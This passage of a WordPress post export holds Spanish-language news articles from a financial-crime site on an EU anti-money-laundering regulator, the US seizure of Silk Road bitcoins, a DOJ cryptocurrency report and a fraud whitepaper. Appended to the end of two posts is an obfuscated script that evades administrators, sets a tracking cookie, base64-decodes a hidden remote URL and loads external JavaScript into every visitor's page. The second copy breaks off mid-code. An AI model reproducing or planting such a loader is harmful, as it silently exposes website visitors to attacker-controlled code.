ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; 